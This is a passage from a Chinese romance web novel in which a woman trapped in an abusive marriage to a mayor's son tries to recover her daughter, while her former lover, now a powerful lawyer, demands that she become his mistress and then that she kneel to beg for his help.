“没出什么事,前段时间出去玩了几天,回来有点累,就没有约您。” “没事就好,哪天你空了可一定要约我啊,之前你教我的两个动作我现在练得很好了,就等你验收呢。” “好。” 两人没聊几句,宴会厅门口又有别的宾客进来了。 “宁宁,你自便,我去招呼一下,我们晚点再聊。” “好,您忙。” 上官太太一走,婆婆赵曼丽就把温昭宁拉到了边上。 “我听恒宇说,你最近在闹离婚?就因为我们恒宇喝醉了不小心碰了你一下,你就要报警要告他家暴?”赵曼丽神色愤愤,“温昭宁,你说你是不是拎不清?温家都破产了,你现在已经不是什么千金大小姐了,娘家还一屁股债,离了我们家恒宇,谁还会要你?你有什么资本离婚?” 赵曼丽是个典型的恋子型婆婆,在赵曼丽的眼里,她的儿子陆恒宇永远正确,永远是最完美的存在,至于温昭宁,从她被陆恒宇看中的那一刻起,她连呼吸都是错的。 “识相的,就安安分分待在我们恒宇身边,赶紧给他生个大胖小子传宗接代,如果你再生不出儿子,不用你提离婚,我们陆家也不会要你这种下不了蛋的女人。” 赵曼丽极其重男轻女,当年温昭宁生下女儿青柠,赵曼丽得知是个女婴,连医院都没有去,她直接给还在病床上的温昭宁打电话,勒令她必须追生,直到生下男孩为止。 可惜,后来温昭宁的肚子迟迟没有动静,赵曼丽也因此几次三番挑唆陆恒宇离婚,陆恒宇不愿意,她又大力支持陆恒宇在外面养情人,甚至主动给他物色女网红、小明星。 赵曼丽说过,陆家有钱,无论陆恒宇有多少私生子,陆家都养得起。 可惜,她不知道的是,真正下不了蛋的是她的宝贝儿子,至于私生子,她儿子这辈子都不可能会有私生子了,她老公倒是背着她养了一个。 “是是是,您说的有理,您说的都对。”这六年,温昭宁早已习惯了赵曼丽莫须有的敌意,她从不把赵曼丽的话放在心上,每次赵曼丽来找茬,她就一个耳朵进一个耳朵出,等赵曼丽说完,再一本正经地敷衍她,“您放心,我一定努力,早日和恒宇生个大胖小子给您玩!” 温昭宁刚说完这句话,就感觉脊背一阵发凉。 好熟悉的阴森感。 她一回头,果然,看到贺淮钦站在不远处的罗马柱旁。 贺淮钦今天又是一身黑色的西装,他似乎很喜欢黑色,不过,也的确没有人比他更适合黑色,黑色西装更是他的统治区,一样的黑,他总能穿出不一样的味道,就比如今天,妥妥一股阴湿男鬼味儿。 温昭宁触到他的目光,颈侧那片被他狠狠吮吸过的皮肤,瞬间隐隐作痛起来。 天知道她今天往脖子里打了两层粉,才堪堪将那吻痕遮住。 她不想前几天试衣间里的事情再发生,赶紧挪开了视线。 第一卷 第15章 你不会还喜欢我吧 “贺律,又见面了!” 陆恒宇看到贺淮钦,立刻满脸堆笑,迎上去打招呼。 贺淮钦不冷不热地点点头,但这一点都不影响陆恒宇热情的态度。 “贺律,前几天多亏贵所律师给我打电话点拨,否则我沪城港口那单生意,恐怕要惹上大麻烦。” 前几天,打电话? 温昭宁想到试衣间那天,贺淮钦发了个信息后,陆恒宇的电话就响了,难不成就是那一天? “陆先生,沪城港口那边我和我朋友也有些小生意,你最近动作有点大了。”贺淮钦开口,声音平淡,却自带一股压迫感,“提醒陆先生一句,做生意求财是人之常情,但有些底线最好不要去触碰,否则,后果不堪设想。” 陆恒宇的脸色瞬间变了变。 这些年他因为有个市长老爹罩着,越界的生意没少做,难道贺淮钦是知道了什么?贺淮钦刚刚的话,看似提醒,但实则更像是警告。 “明白明白,以后还烦请贺律多提点。” 贺淮钦没说话,调转脚步走开了。 温昭宁站在一旁算是听明白了,原来,贺淮钦手上有陆恒宇的把柄,难怪他在试衣间里那么气定神闲的。 贺淮钦虽然只说了一句话,但他这句话,让陆恒宇有些乱了阵脚,陆恒宇无心再应酬,撇下温昭宁就去外面走廊打了许久的电话。 温昭宁不用站在陆恒宇身边陪笑,也乐得清静。 她端了一小碟抹茶慕斯,一个人站在宴会厅的落地窗边,慢悠悠地吃着。 落地玻璃清晰地倒映着场内衣香鬓影、觥筹交错的场景,人群里,贺淮钦众星捧月。 贺淮钦正和上官泓及沪城几位官商谈笑风生,他手中的水晶杯轻轻晃动,举手投足间是掌控全局的从容和自信。 当年那个总是带着几分谦卑的穷小子已经彻底不见了,现在的贺淮钦游走在这名利场中,就像一尾回到了自己水域的鲨鱼,优雅、强大,且危险。 时间改变了一切。 她和贺淮钦,已经走上了截然不同的路,也将奔赴截然不同的人生。 温昭宁用小银勺挖下一角慕斯,送入口中,甜腻的滋味在舌尖化开,心底却泛起一丝难以言喻的涩然。 -- 上官太太蒋秋萍是个喜乐之人,她在今天的生日宴上,还设置了舞会环节。 悠扬的华尔兹舞曲响起,宴会厅中央的舞池渐渐汇聚了成双成对的宾客。 温昭宁是从小被母亲富养长大的明珠,钢琴、绘画、芭蕾……各项才艺都被精心栽培,社交舞更是必修课。 可她今天并不想跳舞,她的新高跟鞋不太跟脚,左右脚脚后跟都被磨破了,走路都像针扎似的疼。 陆恒宇明知她的脚痛,但为了追随上官夫妇的脚步,他硬是拉着她连跳两首。 “你坚持一下,上官先生和上官太太还在跳,我们得给他们助兴。” 温昭宁真想把高跟鞋脱下来,用鞋跟在陆恒宇脑门上砸个洞,看看他脑子里装的到底是什么,可一想到青柠还在他的手上,又只能忍着。 第三首音乐响起的时候,温昭宁实在跳不动了。 陆恒宇还想拽着她,忽然,一只修长有力的大手伸到了温昭宁的面前。 “陆太太,赏光跳支舞?” 是贺淮钦。 贺淮钦微微欠着身,眼里却带着不容拒绝的强势。 温昭宁不知道他又想干什么,心一紧,下意识地后退了半步:“抱歉,我的脚……” 她话还未说完,陆恒宇轻推了她一把,不着痕迹地将她往贺淮钦的方向送:“老婆,贺律邀请你跳舞是你的荣幸,还不快接受!” 贺淮钦将陆恒宇的小动作尽收眼底,他唇角勾起一抹讥讽,顺势上前,一把握住了温昭宁的手腕,将她拉进舞池。 音乐流淌,舞步移动。 贺淮钦的手臂强势环住温昭宁的腰肢,另一只手紧紧握着她的手,两人的身体贴得严丝合缝。 在这么多人的公开场合,和贺淮钦这般亲密,温昭宁总觉得心虚。 “脚痛你老公还把你推出来,看来他真的一点都不爱你。”贺淮钦贴着她的耳畔,气息灼热,语气却是冰冷的。 温昭宁就知道他要找茬:“我老公爱不爱我,关贺律什么事?” “当年你为了和他结婚,抛弃了我,你说关不关我的事?” “当年的事情早就过去了,贺律为什么仍旧耿耿于怀。”温昭宁声音很轻,带着舞曲旋律和尖锐的挑衅撞进贺淮钦的耳朵里,“你不会还喜欢我吧?” 贺淮钦榄在她后腰的手几不可查地收紧一瞬,他的眼眸中翻涌起剧烈的波澜,但很快又被强压下去。 “喜欢?”贺淮钦重复着这两个字,像是在品味什么可笑的东西,“温大小姐别自作多情了,我的喜欢就算烂在泥里,也不会再给你一次。” 是啊,他已经有喜欢的人了,怎么可能再喜欢她? 温昭宁心口刺痛,唇角却绽开一抹艳丽的笑容:“那我就放心了。贺律如今这样有钱有地位,如果你真的纠缠我,我还真怕自己守不住道德的底线就红杏出墙了。” “满口胡言,你不是说睡腻了?” “哦,也是。”温昭宁想起自己的人设,忙补一句,“贺律外表看着迷人,其实在床上,也就那样吧。” 贺淮钦气得掐紧了她的纤腰:“温昭宁,六年了,我已经不是当年的我了!各方面!” “你的意思是你变得更强了?”温昭宁眼眸清澈地望着他,“那真可惜了,我不能出轨,所以你在我心里的印象,永远就那样了。” “你真的不离婚了?” “嗯。” “为什么?” “温家都破产了,我现在已经不是什么千金大小姐了,娘家还一屁股债,离了陆恒宇、宇,谁还会要我?我有什么资本离婚?”温昭宁从赵曼丽那里现学现用,说罢,她还轻叹一口气,“贺律应该六年前就知道了,我是个过不了苦日子的人,不然,我当初也不会抛弃一穷二白的你啊!” 贺淮钦眉宇间露出嫌恶,恰好,舞曲结束,他推开了她,不带一丝留恋转身就走。 温昭宁站在原地,这支舞跳得她精疲力尽。 不过值得庆幸的是,整个过程贺淮钦没有像陆恒宇那样,为了出风头,刻意引导她做出复杂华丽的动作,贺淮钦的舞步沉稳简洁,全程都以他自己为轴心,带着她做最小幅度的移动,她脚后跟上的伤没有磨得更深。 “贺律和你聊什么了?”陆恒宇见贺淮钦走开,马上过来询问。 “没什么,就一些普普通通的话题。” “贺律好像对你有点意思,等下上官太太这里结束,你去找一下贺律,帮我……” “陆恒宇!”温昭宁打断他的话,“法律上我还是你的妻子,你可以不顾我的脸面,但你好歹是市长的儿子,你们陆家也不要脸了吗?” 陆恒宇见温昭宁眼底的怒意,笑着哄道:“我错了,我只是想让你帮我去探一探贺律师的口风。” “他一个律师,靠嘴巴吃饭,我凭什么去探他的口风?” “是是是,是我思虑不周,你别生气了,上官太太看到了不好。” “你利用我,那也得守信,上官太太的生日宴结束,我一定要见到青柠!” -- 跳完那一支舞,贺淮钦就不见了踪影,温昭宁猜想他可能是有事先走了。 她也没时间去注意贺淮钦的动向,上官太太带着她去贵宾休息室,给她引荐了好几位爱打高尔夫的贵太太。 直到开席,温昭宁才从休息室出来。 “你怎么走路的!” 温昭宁刚进走廊,就听到了婆婆赵曼丽的声音。 她侧头一看,原来是一个端送香槟杯的服务员不小心撞到了公公陆乾勇的身上,香槟洒了陆乾勇一身。 “对不起夫人,我不是故意的。”那位服务员低着头,诚心诚意地道歉。 “说对不起有用吗?你知道我老公他是谁吗?” 赵曼丽言辞嚣张,被陆乾勇一把拦住了。 “算了算了。”陆乾勇亲和力十足地拍了拍那位服务员的肩膀,“没事不用紧张,下次注意就行了。另外,把这里收拾干净,免得给其他宾客造成麻烦。” “好的,谢谢。” 陆乾勇带着赵曼丽离开,他和那位服务员擦身而过的时候,温昭宁看到那位服务员往陆乾勇手里塞了什么,似乎是一张字条。 是她! 虽然那日在古刹只是匆匆一瞥,但温昭宁记得这个女人,这个女人就是被陆乾勇养在古刹的情妇。 她怎么会来这里,还打扮成了服务员的样子? 温昭宁屏住呼吸,立刻闪身躲到走廊巨大的盆栽植物后面,观察着那个女人。 只见那女人并没有处理地上的酒渍,而是随手将托盘一放,转身就往酒店的后花园去了。 温昭宁预感她和陆乾勇肯定还要再见面,那张纸条传递的或许就是他们见面的信息,她打开手机的录像模式,沿着走廊内侧,悄悄跟了上去。 酒店的后花园,树影婆娑,仅有几盏地灯散发出昏暗朦胧的光晕。 温昭宁借着植被和廊柱的遮挡,找了个藏身之处。 她刚躲好,就听到了一阵急促的脚步声。 果然,是陆乾勇来了。 第一卷 第16章 做我的人 陆乾勇边走边谨慎地四下张望,确定周围无人,才走到了那女人的身边。 两人一见面,陆乾勇脸上就有怒色,他不知说了句什么,那女人就情绪激动地哭了起来,他们推推搡搡,似乎是在争吵。 可惜,隔得太远,温昭宁听不到他们在吵什么,不过,今天总算是录到了这个女人和陆乾勇同框的画面,有了这份录像,就等于有了陆乾勇的把柄,不管陆恒宇会不会出尔反尔,她都能把青柠换回来! 温昭宁全神贯注地举着手机,心脏因为兴奋和紧张而剧烈跳动着,忽然,有人从身后拍了拍她的肩膀。 这一拍把温昭宁吓得魂飞魄散,手机差点脱手落地,幸好那人扬手替她接住了。 温昭宁转眸,在树影投下的浓重阴影里,对上一双寒光凛冽的眼睛。 是贺淮钦。 月光稀疏,他的黑色西装完美融入了夜色,如同鬼魅,悄无声息的,也不知道在她身后潜伏了多久。 温昭宁心头已经鸟语花香,但怕暴露,她忍着没有骂出口。 “快走。”他附在她耳边低声说,“马上会有大批记者来这里,如果你不想被卷进这件事情里,就赶紧跟我走。” 大批记者会来? 真的假的? 想想,以贺淮钦的人脉网,消息应该错不了。 温昭宁正犹豫,贺淮钦已经牵住了她的手。 他的掌心温热干燥,带着一种不由分说的坚定力道。 温昭宁来不及细想,脚已经自动跟着他走了。 刚刚跟着那女人来时,只凭着一腔兴奋,现在冷静下来,发现这周围真的好黑好可怖,幸好有贺淮钦。贺淮钦高大的背影在黑暗中如同一道沉默可靠的屏障,而此时被他紧紧牵住的手,成了她安全感的唯一来源。 后花园的入口,各方脚步声汇集,好像真的有大批人往这个方向蜂拥而至。 温昭宁瞬时紧张,她想走快些,可脚上那双不跟脚的高跟鞋彻底成了负累。 贺淮钦察觉到她深一脚浅一脚的走路姿势,放慢了脚步。 在迎面与记者撞上的前夕,贺淮钦带着温昭宁拐进另一条小路,他们穿过酒店的员工通道,兜兜转转,进入酒店一楼的一个休息室。 进门的那一秒,贺淮钦松开了她的手。 温昭宁莫名心头一空,那短暂的安全感,似乎也随之消散了。 “你怎么知道我在那里?”温昭宁问。 贺淮钦没回答,只是拿了个鞋盒,扔到温昭宁面前。 “先把鞋换了。”他说。 温昭宁愣住,她迟疑着打开鞋盒,看到鞋盒里静静躺着一双崭新的平底鞋,柔软的浅色小羊皮,款式简单优雅,没有任何多余的装饰,是她惯常会穿的风格和尺寸。 “你……什么时候准备的?” 温昭宁愕然地看向贺淮钦。 贺淮钦侧站着,表情看不真切,只有轮廓分明的下颔线在灯光下显出几分冷硬。 他既没有解释自己为什么知道她会在那里,也没有解释那双鞋。 就在这时,窗外传来一阵喧哗声和女人的哭声。 温昭宁顾不上贺淮钦,连忙换鞋,走到窗边,隔着窗帘的缝隙往外望,原来这个房间正对着陆乾勇和那女人私会的位置。 这会儿,陆乾勇和那个女人已经被记者团团围住。 那女人正在大声地哭诉:“各位记者朋友,感谢大家今晚愿意过来,我叫罗倩倩,我实名举报市长陆乾勇婚内出轨,私德败坏,私生活混乱!我十七岁就跟着他,如今已经八个年头,这八年,他为了和我偷情,先给我在他们自住的小区买了房,后来我怀孕了,他把我送去国外生产,生完孩子,他又把我和孩子接回来,送进了寺庙。佛门重地,成了他圈养情妇的地方!我把我最好的青春都用来陪他,给他生孩子,可前段时间孩子查出了重度自闭症,他就想把我们母子送出境,抛弃我们母子……” 温昭宁站在窗帘后,听到那个女人说的话,顿时有种功亏一篑的感觉。 她原本以为拍到了陆乾勇和这个女人在一起的画面,能作为有力的把柄去和陆家对抗,没想到,这个女人竟然叫来记者,当众自爆了,她拍到的视频,瞬间一点用都没有了。 “怎么这副表情?”贺淮钦坐在沙发里,摇晃着红酒杯,看着温昭宁蹙眉的样子,“是不是担心公公出事,陆家完了,你那锦衣玉食荣华富贵的生活也保不住了?” 温昭宁沉默。 说起这个,她的确担心,如果陆乾勇真的因为桃色事件被查,后续拔出萝卜带出泥,他们一家子所有贪赃枉法的事情都被抖出来,陆家彻底完蛋的话,她的那些嫁妆会不会一并被没收? 如果嫁妆拿不回来,那温家的债务该怎么办? “不用担心,陆乾勇能坐上这个位置就不是等闲之辈,光凭一个女人的空口白牙,还毁不了他。” 贺淮钦话音刚落,就听外面的吵嚷声更大了几分。 温昭宁继续向外看,是在宴会厅的赵曼丽和陆恒宇得知消息赶来了。 赵曼丽眼见自己的丈夫被情妇纠缠,表现得非常淡定。 “我当是谁呢,原来又是你这个精神病!”赵曼丽指着那个女人,对记者说,“各位不要被这个女人骗了,这个女人精神有点不正常,她是我老公先前资助的学生,我老公见她可怜,就派人平时多照顾了她几分,没想到,她就这样缠上了我的老公。她先是租房子住到了我们小区,天天围追堵截的,后面又不知道和谁搞大了肚子,非说是我老公的孩子,我老公见她无理取闹,就停止了对她的资助,她又哭又闹,发疯似的带着孩子跑到庙里说要出家,今天更甚,她竟然联系各位记者朋友跑到上官太太的生日宴上来捣乱!” 赵曼丽条理清晰,句句都压上了那个女人对陆乾勇的指控,显然,是陆乾勇提前交代好的。 “陆夫人,这么说,您一直知道这个女人的存在?” “当然知道,因为她一直发疯,我老公之前还带她去做过精神鉴定,医生都说了,她有神经病!” “我没有!我没有精神病!我真的和陆乾勇有一个孩子,我跟了他八年!你们相信我!相信我!我说的都是真话!”那个女人激动地尖叫起来。 “她又犯病了!各位记者朋友小心,这女人发起疯来会伤人的!”陆恒宇说。 众记者闻言,都吓得往后退了一步, 陆恒宇趁势对酒店保安使了个眼色:“快把她抓起来,送到精神病院去!” “不要!不要!” 故事顿时又有了另一个版本。 温昭宁就这么亲眼目睹了陆家人为了维护自身利益,联手扭曲事实毁掉了一个女人,虽然说这个女人明知陆乾勇有家庭还甘当情妇,也不是什么好东西,但这件事还是给了温昭宁一定的冲击。 贺淮钦说得对,陆乾勇能爬上如今的位置,还能在这个位置上这么久,肯定心机颇深,想必,陆乾勇从一开始就想好了脱身之计,那份精神鉴定书,就是他给自己留的退路。 “陆家的危机解除了。”贺淮钦走到温昭宁的身边,“恭喜,你的荣华富贵又保住了。” 温昭宁心绪复杂,完全没有精力去应对贺淮钦的冷嘲热讽,但她知道,今晚要不是贺淮钦提前把她从酒店的后花园带走,她的处境也会变得非常棘手。 “今晚谢谢贺律了。” “谢什么?” 温昭宁看了一眼窗外,又看了一眼脚上的鞋子。 “所有。” 贺淮钦对她的感谢无动于衷。 两人沉默站着,温昭宁的手机忽然响了。 她看了一眼屏幕,是陆恒宇打来的。 今晚陆乾勇出了这么大的事,差点搅黄上官太太的生日宴,陆恒宇肯定又要她去上官太太面前解释说好话。 “我得走了。” 温昭宁说完,转身欲走,贺淮钦忽然迈步上前,双手握住她的肩膀,用力将她按在了窗台上。 背后是轻纱布帘,她若挣扎,窗帘缝隙变大,后花园里的人望过来就会看到他们交叠的身影。 “你干什么?”温昭宁伸手推他。 “离开他!”贺淮钦薄唇挤出这三个字,声音低沉破碎,“温昭宁,离婚!” “我说了我不离!” “不离你为什么鬼鬼祟祟跟着陆乾勇,你拍下他出轨的视频想干什么?自己欣赏啊?”贺淮钦双眸锁着她,“我知道以温大小姐的性格,陆恒宇对你家暴,你绝对不可能忍气吞声,你若不想让他好过,我有一百种办法可以帮你,就算你要毁了陆家,我都能如你所愿。” “你愿意帮我?”温昭宁不太相信,“你有这么好心?” “我当然不会白白帮忙,你得和我做交易。” “不好意思贺律,我现在一无所有,恐怕没有什么能和你做交易的。” “你有,你可以拿你自己和我做交易。” “你什么意思?” “字面意思。” “你疯了?” “没疯,当年你说你睡腻了,但我还没有!”贺淮钦的身体霸道抵着她,“只要你答应做我的人,让我睡到腻为止,我就替你打离婚官司,保你从陆家拿回你要的一切,陆家,也任凭你说了算。” 温昭宁呼吸骤然急促,她做梦都没有想到贺淮钦会提这样的条件。 他不是恨她吗?怎么还会想要碰她? 而且,他不是有女朋友吗? “那位沈雅菁小姐,不是你的女朋友吗?” “她是我的谁与你有什么关系?”贺淮钦眼底的寒意在蔓延,“我是要你做我的情人,藏在地下,永远见不得光的那种,没有人会知道你的存在,包括她。” “情人?”温昭宁脸上血色尽失。 她印象里的贺淮钦干净纯粹,对爱情忠贞不渝,可如今的贺淮钦却要包养情人? 难道男人有钱就变坏,真的是亘古不变的定律? “不做情人做什么?”贺淮钦不屑,“你一个离过婚的女人,难不成还妄想要做我的另一半?” 温昭宁明白了,贺淮钦是想报复她,当年她给他的屈辱,如今他要加倍还给她! “我才不要做你的情人!”温昭宁将贺淮钦推开,红唇一扬,零帧起嘴:“做陆太太挺好的,虽然陆恒宇家暴,但是他在床上可威猛了,不像贺律,又小又快又没劲儿!找情人这件事您还是另请高明吧,拜拜!” 贺淮钦:“……” 又小又快又没劲儿? 他? “温昭宁,你最好有骨气别回来求我!” 第一卷 第17章 跪下求我 陆乾勇的事情传开后,众宾客都窃窃私语,讨论不断,虽然结局是那个女人以精神病的名义被送走,但都是一个圈子的狐狸,这中间到底是怎么回事,所有人都门儿清。 上官太太的生日宴因为这件事情彻底变了味儿,上官太太心情受损,最后匆匆切了个蛋糕,宴会提前结束了。 温昭宁回到宴会厅时,陆恒宇正到处找她,看到温昭宁,陆恒宇脸色很不好。 “你去哪里了?我给你打那么多电话都不接?” “去洗手间了,手机静音没看到。” 陆恒宇并不相信她的话,但现在不是和她计较的时候:“上官太太因为那个疯女人,有点不高兴了,她现在在酒店二楼的贵宾室休息,你上去道歉解释一下,一定要让上官太太知道,我们陆家也是这件事情的受害者。” 温昭宁并不情愿,陆恒宇见状,上前拍拍她的肩膀:“上官先生一句话就能决定我爸的仕途,把上官太太哄高兴这件事情很重要,你做好了,我今晚就让你见到孩子。” “我们本来就说好了,今晚让我见孩子的!” “温昭宁,少废话,我不是在和你商量,你赶紧上去,否则,孩子会怎么样,我可不保证!” “陆恒宇!” “去!” 温昭宁一忍再忍:“好,我去。” 二楼休息室,上官太太蒋秋萍因为偏头痛发作,正请人按摩,见温昭宁上来找她,她虽然没力气应对,但还是让她进门了。 “宁宁,我知道你要说什么,但今天发生的事情与你无关,要道歉也不该由你来道歉。”蒋秋萍招招手让温昭宁走到她跟前,低声说:“你是个好姑娘,陆家不是有福之门,听姐一句劝,早日为自己做打算。” 蒋秋萍说完,就让温昭宁离开,说自己要安静休息一会儿。 温昭宁只能退出休息室下楼去。 陆恒宇见温昭宁这么快下来,生气指责:“你怎么这么快就下来了?你到底有没有好好和上官太太道歉解释啊?” “我说了,但上官太太偏头痛,需要休息,我就没有过多打扰。” 陆恒宇还想说什么,被信息提示音打断,他低头看了眼手机上的信息,眉头一沉,转身就要走。 温昭宁一把攥住陆恒宇:“你让我做的事情我都做到了,现在可以把青柠还给我了吧?” “让你哄个人都哄不好,上官泓已经在对我爸发难了,你还想见你女儿?做梦!” 陆恒宇甩开温昭宁,大步离去。 “陆恒宇!” 温昭宁追上去,却被陆恒宇的保镖一把推开了。 “陆恒宇!你言而无信!你畜生!” -- 温昭宁因为担心女儿,又是一夜没有合眼。 这一夜,她把所有办法都想了一遍。 报警,可在名义上,青柠还是陆恒宇的女儿,陆恒宇把女儿接走,不构成任何犯罪,而且,警局有陆家的人,她根本奈何不了他。 向公众媒体爆料求助,这一招也只会落得和陆乾勇的情妇一样的结局。 …… 苏云溪知道陆恒宇出尔反尔,气得将他祖宗十八代都骂了个遍。 “我就知道这个死渣男不可信,垃圾王八蛋!活该他硬不起来!这死渣男也不知道把青柠藏到哪里去了,我派了那么多人去找,竟然一点线索都找不到。”苏云溪又想到了贺淮钦,“宁宁,要不真的还是找贺淮钦帮忙吧!时间拖得越久,我越担心青柠!毕竟不是亲生的,谁知道陆恒宇那个畜生会不会虐待青柠啊!” 温昭宁何尝不是这样想的呢。 她昨晚失眠的时候,几次冲动,差点拿起手机就给贺淮钦打电话了,可是,她一想到贺淮钦对她提的要求,她就又退缩了。 做贺淮钦藏在地下永不见光的情人,这无异于从一个牢笼跳进另一个牢笼,等他把她睡腻了,再抛弃,最后她又能落得一个什么结局? “宁宁……” “溪溪,你稍等一下,我有电话进来了,我晚点再打给你。” “好。” 温昭宁挂了苏云溪的电话,手机紧接着就响了起来,是个陌生的号码。 “你好,哪位?” “宁宁,我是段姨。”电话那头传来一个气喘吁吁的声音,她不等温昭宁开口,着急忙慌地输出一大段:“我和青柠被关在秋山路这边,陆恒宇的人没收了我的手机,我现在是趁着买菜甩掉了保镖借好心路人的手机给你打电话的,你快来救救我们,青柠昨晚突然高烧……” 段姨的话还没说完,电话就被掐断了。 “段姨!段姨!” 温昭宁赶紧重新拨回去,电话响了两遍,才有人接。 这次接电话的是个年轻女人的声音。 “你好,请问刚才借用你手机的那位阿姨还在吗?”温昭宁着急地问。 “不在了,她被两个穿黑衣服的男人带走了。” 温昭宁心一沉:“我知道了,谢谢你。” 段姨是陆家的保姆,温昭宁从嫁进陆家开始,就一直是段姨在她身边负责她的日常起居,她们本是普通的雇佣关系,直到三年前,段姨大学刚毕业的儿子遭遇车祸,司机逃逸,手术需要一大笔医药费,段姨求助无门时,是温昭宁出手帮他们母子度过了难关,从那之后,段姨和温昭宁的关系就变得胜似亲人般紧密。 陆恒宇大概是为了安抚好青柠的情绪,才把段姨一起带走的。 幸好,段姨机敏,逃出来给她打了这通电话。 温昭宁按照段姨电话里透露的信息,立刻让苏云溪帮忙调查陆家在秋山路的房产,只可惜,她们还是慢了一步。 当温昭宁和苏云溪带着人赶到软禁青柠和段姨的那处别墅时,青柠和段姨已经被陆恒宇的人转移走了。 也许是转移得太仓促,青柠的一只鞋落在了庭院里。 温昭宁捡起青柠的小鞋子,想到段姨说青柠发高烧,整个人彻底乱了方寸。 青柠小的时候出幼儿急疹,高烧不退,曾有过高热惊厥史,那一次,青柠当着温昭宁的面抽筋口吐白沫,把温昭宁吓坏了,从那之后,青柠每次发烧,温昭宁都会很害怕,生怕青柠再次惊厥。 “陆恒宇这个死渣男,跑得这么快!”苏云溪恨不能一把火烧了这陆家别墅,“宁宁,现在怎么办?段姨通风报信不成功,陆恒宇肯定不会放过她和青柠的!” 温昭宁沉默了片刻,把青柠的鞋子交给苏云溪:“我去找贺淮钦!” -- 温昭宁给贺淮钦打了三个语音电话,贺淮钦都没有接。 她只能去律所找他。 耀华律所位于城市最核心的CBD,独占一座摩天大楼的最高八层。 电梯门打开的瞬间,扑面而来的是低调又极具压迫感的奢华。 前台小姐穿着裁剪合身的定制套装,妆容精致无暇,笑容亦标准得如同用量角器测量过,带着职业性的礼貌。 “您好,请问找谁?” “我找贺律。” “请问您有预约吗?” “没有。”温昭宁直言,“但请你告诉他,是温昭宁找他,有急事。” 前台小姐抬起头,打量了温昭宁一眼,官方地开口:“非常抱歉温女士,贺律今天的日程已经全部排满,按照规定,没有预约的访客我们无法安排会面。或许您可以留下联系方式,我会为您登记,如果和律师有空余时间,我们会第一时间通知您。” “贺律现在在里面吗?” “贺律在开会。” “那我在这里等他。” 温昭宁今天一定要见到贺淮钦。 青柠身边虽然有段姨,但是段姨没有护理孩子高热的经验,再加上两个人被转来转去的颠簸,现在不知道是个什么情况。 如果不是怕硬闯会惹恼贺淮钦,温昭宁现在是一秒都耐不下心来等了。 “可是女士……” 前台正为难,忽然听到有人问了声:“怎么回事?” 温昭宁转头,看到了陈益。 陈益穿着一身灰色的西装,手里拿着一个平板电脑,显然是刚处理完事务经过前台。 温昭宁见到熟人,赶紧站起来快步朝陈益走过去,前台小姐可能是怕温昭宁做什么,飞快跑过来阻拦。 “女士,你要干什么?”前台小姐一边拦着温昭宁,一边恭敬地对陈益解释,“陈特助,这位女士想见贺律,但是她没有预约。” “没事没事。”陈益对前台小姐使了个眼色,示意她让开,“温小姐是贺律的朋友。” 别人不知道温昭宁和贺淮钦的关系,陈益还不知道吗? 那可是老板爱而不得,甚至甘愿为爱当三的女人啊。 她要见老板,还预约什么预约! “陈特助,我找贺律有急事,能不能麻烦你带我进去见他。”温昭宁说。 陈益见温昭宁脸色不好,那双漂亮的眼睛里写满了焦虑,他立刻点头:“温小姐,你跟我进去吧,贺律的会马上结束了。” “谢谢。” “不客气,这边请。” 温昭宁跟着陈益进了贺淮钦的办公室。 贺淮钦的办公室特别大气,整面落地玻璃将恢弘的城市天际线尽收眼底,站在窗口,仿佛能将整个世界都踩在脚下。 “温小姐,请喝茶。”陈益给温昭宁倒了一杯茶。 “谢谢。” 温昭宁刚端起茶杯,贺淮钦推门进来了。 贺淮钦刚结束一场冗长的跨国视频会议,他没穿外套,只穿着衬衫和西装马甲,衬衫袖子随意地往上卷起,露出结实的小臂,几分随性下透着疏离。 他进门看到沙发上不请自来的温昭宁,眉头一蹙。 “谁让她进来的?” “我!”陈益邀功,“温小姐来找你,因为没有预约被前台阻拦了,是我正好路过,带她进来的。” “没有预约,一律不见,这是规矩,你要是不懂规矩,一起滚出去。” 啥? 陈益吓了一跳。 老板不是喜欢温小姐吗?难道是他会错意了? “贺律,不关陈特助的事,是我硬闯进来的。” “那就叫保安赶出去。”贺淮钦毫不留情。 陈益傻眼了。 怎么会这样? 温昭宁倒是不意外,毕竟,她没忘记自己在上官太太生日宴那天说了什么。 又小又快又没劲儿。 这样的话,是个男人听了都得记仇。 “陈特助,你先出去吧,我和贺律聊几句。”温昭宁对陈益说。 “好的。” 陈益眼见情况不妙,脚底抹油,赶紧开溜,跑出办公室后,他想了想,又折回来贴心地关上了办公室的门。 宽阔的办公室,瞬间只剩下了温昭宁和贺淮钦两个人。 “贺律……” “温大小姐,开口之前先提醒你一句,我的时间,按分钟计费,而且,很贵。”他声音平稳,却字字如刀,“先想想,你能不能负担得起。” “我负担不起。” “那就出去。” 贺淮钦的目光只在她脸上短暂地停留了一瞬,就移开了,仿佛多看她一眼,都会耗费他不必要的精力。 “贺淮钦。”温昭宁走到他面前,抬头看着他,“你那天说的交易,我同意了。” “什么交易?”贺淮钦像是忘了。 那两个字,难以启齿。 温昭宁用尽全身力气,才颤抖着开口:“情人……我同意做你的情人。” 她说完,脸颊滚烫,耻辱感几乎要将她淹没。 贺淮钦看向她:“谁告诉你,我会在原地等你同意?” “什么意思?” “我的意思是,这桩交易过了时效性,作废了。” 温昭宁五雷轰顶:“你耍我?” “耍你又怎么样?”贺淮钦神色冷冽,居高临下地审视着她,“当年温大小姐是怎么耍我的,你忘了吗?怎么?就许你玩弄我,不许我用同样的方式对你吗?” 温昭宁站在原地,仿佛被抽空了所有力气,连指尖都在发冷。 她深呼吸:“贺淮钦,当年的事情是我不对,我向你道歉,我求你……” “求我什么?” “求你帮忙。” “我说了我不白白帮忙。” “那我求你和我做交易。” “好啊。”贺淮钦眸光微动,似乎来了点兴致,可一开口,再次把温昭宁打进地狱:“那你拿出诚意,跪下求我。” 第一卷 第18章 温大小姐的诚意 跪下。 这句话让温昭宁浑身的血液都冻结了。 她难以置信地望着贺淮钦。 他竟然让她跪下。 温昭宁以为,即使当年分手并不体面,可他们之间至少有过炙热的爱情,有过最亲密无间的时光,他可以恨她厌恶她,但为何要用这样轻蔑,这样践踏她人格的方式侮辱她。 “你就这么恨我吗?”温昭宁问。 “温大小姐是不是觉得让你下跪侮辱你了?”贺淮钦的眼睛像一把烧红的匕首,刺进温昭宁的心脏,“对,我就是在侮辱你。” 贺淮钦永远忘不了那年分手,他抑郁难欢,母亲心疼他,一个人悄悄去找了温昭宁,回来的路上,母亲不幸出了车祸。 他赶到时,母亲倒在血泊之中,奄奄一息地对他说:“淮钦,妈妈去找大小姐,让她不要抛弃你,大小姐说只要我跪下求她,她就不分手,妈妈给她跪下了……大小姐是个信守承诺的人,她一定不会不要你的,你不要再难过……” 